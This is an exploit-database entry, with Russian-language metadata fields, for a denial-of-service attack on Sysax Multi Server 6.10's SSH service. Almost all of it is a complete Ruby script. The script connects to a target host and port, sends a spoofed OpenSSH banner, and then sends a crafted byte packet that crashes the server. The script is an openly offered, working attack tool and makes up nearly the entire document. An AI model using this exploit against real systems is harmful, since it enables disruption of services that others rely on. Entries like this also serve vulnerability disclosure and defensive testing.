Exploit Sysax Multi Server 6.10 - SSH Denial of Service

[Exploiter]

EDB-ID

24940

Проверка EDB

1. Пройдено

Автор

MATT ANDREKO

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

null

Дата публикации

2013-04-09

Sysax Multi Server 6.10 - SSH Denial of Service

#!/usr/bin/env ruby
# Sysax Multi Server 6.10 SSH DoS
# Matt "hostess" Andreko < mandreko [at] accuvant.com >
# http://www.mattandreko.com/2013/04/sysax-multi-server-610-ssh-dos.html

require 'socket'

unless ARGV.length == 2
  puts "Usage: ruby #{$0} [host] [port]\n"
  exit
end

packet = [0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f,
  0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7,
  0x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00,
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  #3rd byte in this next line causes crash
  0x00, 0x00, 0x28, 0x7a, 0x6c, 0x69, 0x62, 0x40,
  0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e,
  0x63, 0x6f, 0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62,
  0x2c, 0x6e, 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00,
  0x1a, 0x7a, 0x6c, 0x69, 0x62, 0x40, 0x6f, 0x70,
  0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f,
  0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62, 0x2c, 0x6e,
  0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00].pack("C*")

host = ARGV[0]
port = ARGV[1]

sock = TCPSocket.open(host, port)

banner = sock.gets()
puts banner

sock.puts("SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1\r\n")
sock.puts(packet)
resp = sock.gets()

sock.close()